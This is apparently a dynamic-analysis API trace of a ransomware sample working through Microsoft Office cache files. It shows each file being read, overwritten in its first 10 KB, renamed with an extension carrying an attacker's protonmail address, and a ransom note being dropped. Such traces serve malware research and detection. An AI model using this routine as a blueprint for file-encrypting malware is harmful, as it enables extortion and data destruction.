[0050.730] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1
[0050.730] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 79
[0050.730] StrStrIW (lpFirst="GrooveLR.cab", lpSrch="SDfghjkl") returned 0x0
[0050.730] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0050.731] GetProcessHeap () returned 0x2e0000
[0050.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0050.731] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0050.733] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0050.733] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0050.733] GetProcessHeap () returned 0x2e0000
[0050.733] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.733] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0050.733] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0050.736] CloseHandle (hObject=0x10c) returned 1
[0050.736] GetProcessHeap () returned 0x2e0000
[0050.736] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0050.736] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0050.736] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0050.737] GetProcessHeap () returned 0x2e0000
[0050.737] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.737] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1
[0050.737] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 80
[0050.737] StrStrIW (lpFirst="GrooveMUI.msi", lpSrch="SDfghjkl") returned 0x0
[0050.737] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0050.737] GetProcessHeap () returned 0x2e0000
[0050.737] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0050.737] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0050.738] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0050.738] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0050.739] GetProcessHeap () returned 0x2e0000
[0050.739] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.739] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0050.739] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0050.740] CloseHandle (hObject=0x10c) returned 1
[0050.740] GetProcessHeap () returned 0x2e0000
[0050.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0050.741] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 122
[0050.741] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0050.744] GetProcessHeap () returned 0x2e0000
[0050.744] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.744] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1
[0050.744] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 80
[0050.744] StrStrIW (lpFirst="GrooveMUI.xml", lpSrch="SDfghjkl") returned 0x0
[0050.744] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0050.744] GetProcessHeap () returned 0x2e0000
[0050.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0050.744] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x391, lpOverlapped=0x0) returned 1
[0050.746] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffffc6f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0050.746] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x391, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x391, lpOverlapped=0x0) returned 1
[0050.746] GetProcessHeap () returned 0x2e0000
[0050.746] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.746] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0050.746] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0050.746] CloseHandle (hObject=0x10c) returned 1
[0050.746] GetProcessHeap () returned 0x2e0000
[0050.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0050.746] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 122
[0050.746] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0050.747] GetProcessHeap () returned 0x2e0000
[0050.747] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.747] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0050.747] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0050.747] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0050.747] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0050.747] GetProcessHeap () returned 0x2e0000
[0050.747] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0050.747] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x5ac, lpOverlapped=0x0) returned 1
[0050.749] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffffa54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0050.749] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x5ac, lpOverlapped=0x0) returned 1
[0050.749] GetProcessHeap () returned 0x2e0000
[0050.749] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.749] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0050.749] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0050.749] CloseHandle (hObject=0x10c) returned 1
[0050.749] GetProcessHeap () returned 0x2e0000
[0050.749] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0050.749] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0050.749] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0050.750] GetProcessHeap () returned 0x2e0000
[0050.750] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0050.750] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
[0050.750] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0050.750] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0050.750] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0050.751] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0050.751] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0050.752] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
[0050.752] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0050.752] CloseHandle (hObject=0x10c) returned 1
[0050.752] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0050.752] GetProcessHeap () returned 0x2e0000
[0050.752] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0050.752] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1
[0050.752] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C") returned 66
[0050.752] GetProcessHeap () returned 0x2e0000
[0050.752] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0050.752] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*") returned 68
[0050.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0050.754] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.") returned 68
[0050.754] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0050.754] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0050.754] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0050.754] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\..") returned 69
[0050.754] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0050.754] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0050.754] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
[0050.754] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033") returned 71
[0050.754] GetProcessHeap () returned 0x2e0000
[0050.754] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0050.754] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*") returned 73
[0050.754] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x300570
[0050.755] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\.") returned 73
[0050.755] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0050.755] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\..") returned 74
[0050.755] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1
[0050.755] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 84
[0050.755] StrStrIW (lpFirst="dwintl20.dll", lpSrch="SDfghjkl") returned 0x0
[0050.755] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0050.756] GetProcessHeap () returned 0x2e0000
[0050.756] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x358790
[0050.756] ReadFile (in: hFile=0x110, lpBuffer=0x358790, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesRead=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0050.815] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
